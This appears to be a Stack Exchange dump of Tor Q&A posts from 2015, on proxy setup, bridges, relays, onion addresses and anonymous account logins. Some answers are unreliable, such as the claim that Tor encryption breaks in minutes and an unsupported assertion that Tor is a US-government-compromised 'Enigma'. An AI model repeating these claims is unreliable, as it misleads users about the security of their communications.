  <row Id="6712" PostTypeId="1" CreationDate="2015-04-23T12:00:54.847" Score="6" ViewCount="13302" Body="&lt;p&gt;I'd like to use tor as a proxy for curl requests in php.&#xA;I've downloaded the Expert Bundle and extracted the contents, which is a bit confusing since the description of that download says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Contains just Tor and nothing else. You'll need to configure Tor and&#xA;all of your applications manually. This installer must be run as&#xA;Administrator.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;but there's no installer, it's just a zip-archive.&#xA;Anyway if I run Tor/tor.exe in it then it starts as a process, and then I can use it with php curl by doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl_setopt($ch, $CURLOPT_PROXY , 127.0.0.1:9050)&#xA;curl_setopt($ch, $CURLOPT_PROXYTYPE , CURLPROXY_SOCKS5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works and I can get a new IP by restarting the tor-process.&lt;/p&gt;&#xA;&lt;p&gt;However I want more control than this. For instance I've tried creating a &amp;quot;torrc&amp;quot;-file and specify a different port for example, but it doesn't seem to read the file no matter where I put it. Where is it supposed to be placed anyway?&#xA;Also, I try running different commands like the ones on &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Logs&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; with the tor-executable but nothing works.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\Oscar\Downloads\tor-win32-tor-0.2.5.12\Tor&amp;gt;tor -h&#xA;C:\Users\Oscar\Downloads\tor-win32-tor-0.2.5.12\Tor&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get no kind of feedback. Only difference is that this wont tart the tor-process.&#xA;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7272" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-08-17T11:26:54.593" Title="Using the tor expert bundle on windows" Tags="|configuration|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6714" PostTypeId="1" CreationDate="2015-04-23T20:07:53.523" Score="2" ViewCount="367" Body="&lt;p&gt;ok so I wasn't receiving updates for drupal so I decided to go to /etc/hosts&#xA;and added my hostname like so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;127.0.0.1  something.onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I restarted tor and drupal now can receive updates again anyways does this cause any issues? Is it dangerous to do this?&lt;/p&gt;&#xA;" OwnerUserId="7276" LastActivityDate="2015-04-24T09:11:19.040" Title="Setting tor hidden service in /etc/hosts" Tags="|onion-services|configuration|network-configuration|server-administration|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6715" PostTypeId="2" ParentId="6582" CreationDate="2015-04-24T08:37:47.580" Score="1" Body="&lt;p&gt;Yes, the issue you're describing is a real issue and has been thought about a lot before. The suggestion to use port 443 has been removed due to your question, now the suggestion is to use a random port. This is not a real solution of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggested solutions are putting the orport on a different IP and changing the pluggable transports/bridge infrastructure to not require the bridge to expose the tor protocol on any port. Additionally supporting IPv6-only nodes in the Tor network would help with reducing scanning possibilities. Related Tor bug reports seem to be &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14579&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/14579&lt;/a&gt;, &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14581&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/14581&lt;/a&gt;, &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9498&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/9498&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-24T08:37:47.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6716" PostTypeId="2" ParentId="6714" CreationDate="2015-04-24T09:11:19.040" Score="2" Body="&lt;p&gt;Should be fine. You're just affecting connections originating at your own machine. Whether it is safe to use drupal's autoupdater at all is something you have to ask yourself, of course.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-24T09:11:19.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6717" PostTypeId="1" CreationDate="2015-04-24T09:59:37.370" Score="1" ViewCount="2683" Body="&lt;p&gt;I can connect to obfs3 bridges just fine and even meek works, but obfs4 bridges seem to immediately reject my client. The debug log output is of no help. It's almost like Orbot isn't sending the bridge's public key properly or something. Has anyone gotten this to work?&lt;/p&gt;&#xA;" OwnerUserId="6937" LastActivityDate="2015-04-25T21:07:05.810" Title="Obfs4 bridges in Orbot" Tags="|bridge|orbot|obfs4|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6718" PostTypeId="2" ParentId="6705" CreationDate="2015-04-24T14:13:04.443" Score="0" Body="&lt;p&gt;If you're that worried, then you could change the SOCKS5 port from 9150 to 9050, but that might confuse your Torlauncher add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd maybe &lt;a href=&quot;https://tor.stackexchange.com/questions/6589/what-are-the-changes-made-to-firefox-in-the-tbb/6591#6591&quot;&gt;confirm this answer with the Tor project mailing list&lt;/a&gt; to be sure that it's equivalent to add HTTPS Everywhere, NoScript, and Torbutton to a regular FireFox/IceWeasel profile.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mostly worried that you'd miss the TBB's upgrade cycle, well maybe Torlauncher handles that, not Torbutton.  TBB might patch a FireFox vulnerability faster than Debian.&lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-04-24T14:13:04.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6719" PostTypeId="1" CreationDate="2015-04-25T01:25:53.397" Score="1" ViewCount="468" Body="&lt;p&gt;So I downloaded the new signing key with Key-ID 0x58ACD84F. However, the detatched signature file for Tails 1.3.2 seems to be signed with Key-ID 0x752A3DB6 and I can't seem to find that particular key mentioned anywhere on the website. It does show up on the keyservers, though. Is that the old one? Should I trust it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I see now that 0x752A3DB6 is a subkey of 0x58ACD84F. Why would Kleopatra claim there's &quot;Not enough information to check signature validity&quot;?&lt;/p&gt;&#xA;" OwnerUserId="6937" LastEditorUserId="6937" LastEditDate="2015-04-25T01:49:03.300" LastActivityDate="2015-04-25T02:20:09.147" Title="Tails signature mismatch" Tags="|tails|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6720" PostTypeId="2" ParentId="6719" CreationDate="2015-04-25T02:20:09.147" Score="1" Body="&lt;p&gt;It turns out I had failed to trust/certify that signing key. Once I did that, I received a &quot;green&quot; result. This Reddit post highlights the solution quite thoroughly: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/tails/comments/30d24r/problem_verifying_tails_131/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/tails/comments/30d24r/problem_verifying_tails_131/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6937" LastActivityDate="2015-04-25T02:20:09.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6721" PostTypeId="2" ParentId="6705" CreationDate="2015-04-25T07:49:22.640" Score="4" Body="&lt;p&gt;This is a bad idea for several reasons, especially with Tor Browser 4.5 alpha or newer as the circuit use behavior between vanilla (eg: a system tor) and Tor Browser's bundled tor instance is substantially different in several ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the instructions at &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundle3SAQ&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundle3SAQ&lt;/a&gt; should still work, assuming you understand the differences between the two copies of tor and wish to do it anyway.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-04-25T07:49:22.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6722" PostTypeId="1" AcceptedAnswerId="6726" CreationDate="2015-04-25T18:27:16.687" Score="0" ViewCount="450" Body="&lt;p&gt;I am currently doing my thesis and for that I need list of sites which are blocking tor. It would be nice if someone can provide me list.&lt;/p&gt;&#xA;" OwnerUserId="7032" LastActivityDate="2015-04-26T11:16:30.547" Title="List of Websites blocking TOR" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ClosedDate="2015-04-27T08:59:14.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="6724" PostTypeId="1" AcceptedAnswerId="6725" CreationDate="2015-04-26T06:00:09.013" Score="3" ViewCount="308" Body="&lt;p&gt;How does the name of a Tor hidden service (zzzz.onion) encode the 80 bit hash mentioned below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;permanent-id&quot; is the permanent identifier of the hidden service,&#xA;consisting of 80 bits. It can be calculated by computing the hash value&#xA;of the public hidden service key and truncating after the first 80 bits:&#xA;&#xA;   permanent-id = H(public-key)[:10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n234&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7222" LastActivityDate="2015-04-26T06:15:14.670" Title="How is a Tor hidden service mapped to the 80 bit hash of the service's public key?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6725" PostTypeId="2" ParentId="6724" CreationDate="2015-04-26T06:15:14.670" Score="4" Body="&lt;p&gt;I hope I'm answering the right question, but:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onion_address = base32(permanent_id) || &quot;.onion&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where base32 is base32 encoding.&lt;br/&gt;&#xA;Source: &lt;a href=&quot;https://lachlankang.files.wordpress.com/2014/12/descriptors.pdf&quot; rel=&quot;nofollow&quot;&gt;Efficient botnet herding within the Tor network&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-04-26T06:15:14.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6726" PostTypeId="2" ParentId="6722" CreationDate="2015-04-26T11:16:30.547" Score="0" Body="&lt;p&gt;If you search &quot;block Tor&quot; on Tor wiki (trac.torproject.org), you'll  get lots of interesting results. Unchecking the tickets box might be helpful. &lt;/p&gt;&#xA;" OwnerUserId="167" LastActivityDate="2015-04-26T11:16:30.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6727" PostTypeId="1" CreationDate="2015-04-26T14:28:28.197" Score="2" ViewCount="790" Body="&lt;p&gt;I'm attempting to set up my raspberry pi as a tor relay. I found some instructions on Instructable: &lt;a href=&quot;http://www.instructables.com/id/Raspberry-Pi-Tor-relay/?ALLSTEPS&quot; rel=&quot;nofollow&quot;&gt;http://www.instructables.com/id/Raspberry-Pi-Tor-relay/?ALLSTEPS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm only concerned for steps 1-6, since I can't get the tor browser due to the type of processor in the pi(and I'm almost positive I don't need it for the relay to work). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get to the end of step 6 and get:&#xA;Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;But when I check Atlas or Globe the relay nickname doesn't show (I let it run 12 hours before checking). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to confirm the relay is actually working? (i.e. monitor bandwidth? I know Stem can work, but you need the browser to get the info [I think])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great, thank you.&lt;/p&gt;&#xA;" OwnerUserId="7282" LastActivityDate="2020-09-27T14:47:56.210" Title="Using Raspberry Pi as Tor Relay" Tags="|relays|raspberry-pi|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6728" PostTypeId="2" ParentId="6727" CreationDate="2015-04-26T16:10:44.703" Score="2" Body="&lt;p&gt;Do you see a message in the Tor notices log that says the ORPort and/or DirPort are confirmed as working? It should log &quot;Self-testing indicates your ORPort is reachable. Excellent.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your port forwarding first. If that appears to be setup correctly then it &lt;em&gt;could&lt;/em&gt; be due to a similar situation I was in. I had needed a Dynamic DNS before my ORPort/DirPort could be reachable. See here: &lt;a href=&quot;https://tor.stackexchange.com/questions/6558/relay-getting-traffic-showing-as-unreachable&quot;&gt;Relay getting traffic showing as unreachable?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7062" LastEditorUserId="7062" LastEditDate="2015-04-26T23:59:37.393" LastActivityDate="2015-04-26T23:59:37.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6729" PostTypeId="1" AcceptedAnswerId="6777" CreationDate="2015-04-26T17:19:59.003" Score="3" ViewCount="190" Body="&lt;p&gt;I've just started studying Tor and I came across TAP and ntor protocols. Just want to clear up that are these protocols decided at the time of circuit creation or each relay can decide on its own that which protocol to use?&lt;/p&gt;&#xA;" OwnerUserId="7265" LastEditorUserId="7265" LastEditDate="2015-04-26T17:54:40.293" LastActivityDate="2016-01-01T01:28:39.247" Title="Can a relay decide which protocol to use (TAP or ntor)?" Tags="|relays|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6731" PostTypeId="2" ParentId="8" CreationDate="2015-04-26T21:06:39.180" Score="7" Body="&lt;p&gt;You have to remember, that Tor is a PROXY. Proxies act on behalf of another, and therefore, theoretically you would only need to &quot;resolve&quot; the address of the first node of the circuit. But you don't have to do that, because Tor already has that information in its configuration files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is that the exit node &quot;handles&quot; everything, including DNS, for the nodes behind it, because of the nature of being a proxy server. It then transmits the DNS information backwards through a Tor circuit. Given that Tor circuits for a specific machine change every few minutes, this is what makes it difficult and next to impossible for anyone to track a machine through the nodes, because ALL of the traffic though Tor is encrypted, with the exception of the exit node's handling of the original request which it will then encrypt on its way backwards through the Tor. This is because it takes, even in a simple hypothetical case, at least several attempts and a good few minutes to decrypt anything without having direct knowledge of BOTH keys required for decyrption, and this depends largely on the encryption method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exception to this is the .onion domain, i.e. the hidden services. Wherein Tor itself handles the DNS issue in a manner that, while is in fact DNS request in CONCEPT, tor does not follow the conventional &quot;Rules&quot; for DNS when it comes to hidden services. Because of the rendezvous server, which is a random Tor server, in a way &quot;fakes&quot; being the real host of the .onion site, for the purposes of concealing the IP of the machine the .onion server is running on.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastEditorUserId="12978" LastEditDate="2016-05-28T10:55:56.183" LastActivityDate="2016-05-28T10:55:56.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6733" PostTypeId="1" CreationDate="2015-04-27T01:22:06.957" Score="0" ViewCount="263" Body="&lt;p&gt;So, I have searched the Stack Exchange and I found what I CANT do but sadly not what I CAN. &#xA;What's the safest way to login in your accounts (Gmail, Google or even your eBay account) without breaking down your anonymity?&#xA;Many said that some sites have their ways into tracking you down, thats true, btu does this mean I can't never login somewhere without betraying my location?&lt;/p&gt;&#xA;" OwnerUserId="7287" LastActivityDate="2015-06-27T14:33:07.013" Title="Account login while retaining my anomymity?" Tags="|anonymity|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6734" PostTypeId="2" ParentId="6733" CreationDate="2015-04-27T02:38:08.970" Score="0" Body="&lt;p&gt;This may not be exactly what you are looking for, but hope that it can help you to get some basic ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attack called Correlation Attack can be employed to trace where you are if the Autonomous Systems between you and the Guard node, and the Autonomous Systems between the Exit node and the final destination are controlled under one person (lets assume: maybe only Government Agency like NSA, CIA or FBI has that kind of power)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are using gmail, facebook, hotmail, I do recommend that you should create those accounts in Tor environment without providing any real information about yourself, and only log into those accounts within the Tor environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this task, you may need a temporary and unregistered phone number to verify the account. Since most of those services like Gmail and FB will ask your phone number while registering via Tor to send a code for verification purpose. After creating the accounts, you should destroy the SIM card of that phone number and never use or register the phone number if you want to stay anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P/S: if you log into your account from a non-Tor IP, then the next time you log into the account via Tor, your account may get blocked. So do remember that if you create the account from Tor-IP, then next time you log in, your account will not be blocked. For your ready reference, here it Onion site of Facebook, you should create an account from this site so that your account will not be blocked or ask for some secret question or verifying some friends' photos. &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-04-27T02:38:08.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6735" PostTypeId="2" ParentId="6370" CreationDate="2015-04-27T13:37:10.467" Score="4" Body="&lt;p&gt;Great explanation, it helped me a lot. Like to add the following; These days I do not see a lot of obfs4 traffic yet. If you want to publish as an obfs3 AND obfs4 bridge relay you can change the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin obfs3,obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You only need to install obfs4 as mentioned in the post above. obfs4 is backwards compatible with obfs3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you start up your bridge, you will see something like this in your logfile;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Registered server transport 'obfs3' at '[::]:41234'&#xA;Registered server transport 'obfs4' at '[::]:44321'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leave your ExtORPort set to auto for  diversity reasons. I have a firewall enabled on my Debian bridge with very restrictive port settings. I had to make port forwards for the given obfs ports in iptables (easy with gufw) as well as in my hardware (internet-)firewall to make things work. So I am not so sure that the ExORPort is for local connections only as mentioned by Rodger (please let me know if I am wrong here). The obfs3 and obfs4 transport ports Tor chooses for you will be cached, so after booting your bridge you keep the same ports. Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor needs bridges, be a bridge if you can!&lt;/p&gt;&#xA;" OwnerUserId="7292" LastEditorUserId="71" LastEditDate="2015-04-27T21:00:43.003" LastActivityDate="2015-04-27T21:00:43.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6736" PostTypeId="2" ParentId="102" CreationDate="2015-04-27T14:07:02.763" Score="0" Body="&lt;p&gt;TOR was started as a DARPA project and continues to receive US government dollars to this day. To believe that the US government would pay money for an anonymity tool they were unable to bypass or exploit requires an exceptional amount of faith that I lack entirely. I can remember how we sold the well cracked Enigma device to all our allies as the unbreakable encryption device of the 20th century, so that we could decipher their encrypted communications in real time. Tor is the 21st century Enigma machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you wrote every line of code yourself and the compiler, along with the OS you are using it on and designed/etched every last one of the chips in your system, you are likely trading information in real-time/clear text for the US government. Excellent security these days just means knowing which governments have access to your connected systems. Consider yourself informed.&lt;/p&gt;&#xA;" OwnerUserId="7294" LastEditorUserId="71" LastEditDate="2015-04-27T20:55:53.330" LastActivityDate="2015-04-27T20:55:53.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6737" PostTypeId="2" ParentId="3847" CreationDate="2015-04-27T20:50:05.893" Score="1" Body="&lt;p&gt;On newer versions of Mac OS X you may have to manually allow it to open. From the Tor Project &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#mac&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install: Drag the Tor Browser icon to the Applications folder and open the Applications folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3XJHF.png&quot; alt=&quot;Screenshot showing the contents of the Tor Browser dmg file.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Control-click: Control-click on the Tor Browser icon (click the mouse button while pressing the Control key on the keyboard) and choose “Open”.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEghc.png&quot; alt=&quot;Screenshot of the Applications folder with the Tor Browser icon.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Open: Click “Open” on the next screen.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xf6Kg.png&quot; alt=&quot;Dialog offering to open Tor Browser.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those steps don't work, drag the TorBrowser icon to the Trash then download a fresh copy and run through the steps again.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-04-27T20:50:05.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6738" PostTypeId="1" CreationDate="2015-04-27T22:34:25.107" Score="1" ViewCount="1152" Body="&lt;p&gt;I want to make a vanity .onion address for torchat i would really appreciate if someone could give me a step-by-step tutorial that is guaranteed to work for making a vanity address thank you :)&lt;/p&gt;&#xA;" OwnerUserId="7298" LastActivityDate="2015-04-28T05:58:32.453" Title="How do i make a vanity .onion address?" Tags="|tor-browser-bundle|onion-services|configuration|" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-29T21:20:41.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="6739" PostTypeId="2" ParentId="6520" CreationDate="2015-04-27T23:56:14.767" Score="0" Body="&lt;p&gt;Deleting &lt;code&gt;/Applications/Tor Browser.app/TorBrowser/Data/Tor/state&lt;/code&gt; is a quick way. For creating circuits, refer to &lt;a href=&quot;https://www.thesprawl.org/research/tor-control-protocol/&quot; rel=&quot;nofollow&quot;&gt;tor control protocol&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1052" LastActivityDate="2015-04-27T23:56:14.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6740" PostTypeId="2" ParentId="6738" CreationDate="2015-04-28T05:58:32.453" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow&quot;&gt;Scallion&lt;/a&gt; to generate onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation on how to compile and use it to generate addresses are in the readme at the provided link, the instructions are so big I did not want to copy it all in here.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-04-28T05:58:32.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6741" PostTypeId="1" AcceptedAnswerId="6746" CreationDate="2015-04-28T08:39:44.617" Score="2" ViewCount="805" Body="&lt;p&gt;It seems like having a list of all of the hidden services might be a good way for an attacker to find poorly-secured systems, or to find obscure hidden sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can an HSDir list hidden services? What percentage of them can a single HSDir find out about?&lt;/p&gt;&#xA;" OwnerUserId="7222" LastActivityDate="2015-04-29T21:18:56.483" Title="Can a hidden service directory enumerate hidden services?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6742" PostTypeId="1" CreationDate="2015-04-28T09:23:17.610" Score="2" ViewCount="1618" Body="&lt;p&gt;System: latest Kali ( Debian-based )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks chromium-browser&#xA;00:00:00 libtorsocks(1): sendmsg: Connection is a UDP or ICMP stream, may be a DNS request or other form of leak: rejecting.&#xA;00:00:00 libtorsocks(1): sendmsg: Connection is a UDP or ICMP stream, may be a DNS request or other form of leak: rejecting.&#xA;00:00:00 libtorsocks(1): sendmsg: Connection is a UDP or ICMP stream, may be a DNS request or other form of leak: rejecting.&#xA;00:00:00 libtorsocks(1): sendmsg: Connection is a UDP or ICMP stream, may be a DNS request or other form of leak: rejecting.&#xA;...&#xA;[1:1:0100/000000:FATAL:zygote_main_linux.cc(530)] Check failed: UnixDomainSocket::SendMsg(kZygoteSocketPairFd, kZygoteBootMessage, sizeof(kZygoteBootMessage), std::vector&amp;lt;int&amp;gt;()).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Connection is a UDP or ICMP stream, may be a DNS request or other form of leak: rejecting.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And doesn't work. No window of browser appearing.... Hm....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, when I'm trying to configure transparent proxy, according to official &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#Transparentlyanonymizingtrafficforaspecificuser&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;, chromium-browser doesn't look at /etc/resolv.conf or anything else. Anyway, iptables-redirection doesn't redirect chromium's request for DNS(UDP:53), and logically .onion domains doesn't work too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who know the Way to launch chromium clear from DNS leakage?&lt;/p&gt;&#xA;" OwnerUserId="7302" LastActivityDate="2015-05-08T21:05:21.050" Title="Debian-based: torsocks + Chromium-browser = DNS Leakage?" Tags="|dns|chrome|information-leaks|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6743" PostTypeId="1" CreationDate="2015-04-28T09:31:02.207" Score="2" ViewCount="5103" Body="&lt;p&gt;I was following the Tor installation process in Kali Linux. When I attempted to run the &lt;code&gt;./start-tor-browser&lt;/code&gt; command while logged in as root, which is the default in Kali Linux, it did not work. So I added an user using the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adduser neha&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I logged in as that user from terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;login neha&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went to the appropriate location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /root/tor-browser_en-US&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and executed the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I got the message mentioned in the question title. What is the solution? &lt;/p&gt;&#xA;" OwnerUserId="7296" LastEditorUserId="88" LastEditDate="2019-06-07T21:28:39.703" LastActivityDate="2019-06-07T21:28:39.703" Title="Tor Browser Bundle must be run within the X Window System. Exiting" Tags="|tor-browser-bundle|linux|kali-linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6744" PostTypeId="1" CreationDate="2015-04-28T14:08:22.547" Score="5" ViewCount="7270" Body="&lt;p&gt;According to the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Torisdifferent&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt; and the answer to a &lt;a href=&quot;https://tor.stackexchange.com/questions/1249/is-there-a-list-of-illegal-tor-areas&quot;&gt;different question&lt;/a&gt; on this site, Tor is not illegal anywhere, but some countries, e.g. China, are censoring Tor. Why don't these countries ban Tor, and punish the people who try to circumvent the censorship? [Don't get me wrong, I do support Tor, I just want to understand the censoring countries]. &lt;/p&gt;&#xA;" OwnerUserId="7303" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2018-12-29T13:01:42.613" Title="Why is Tor not illegal anywhere?" Tags="|censorship|legal|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6745" PostTypeId="2" ParentId="6743" CreationDate="2015-04-28T20:26:44.830" Score="1" Body="&lt;p&gt;Did you start the X window system before running the browser? The error message sounds as if you are trying to open the browser from the command line without any graphical desktop interface running. If that's the case, start the X Window from the root user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;startx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-04-28T20:26:44.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
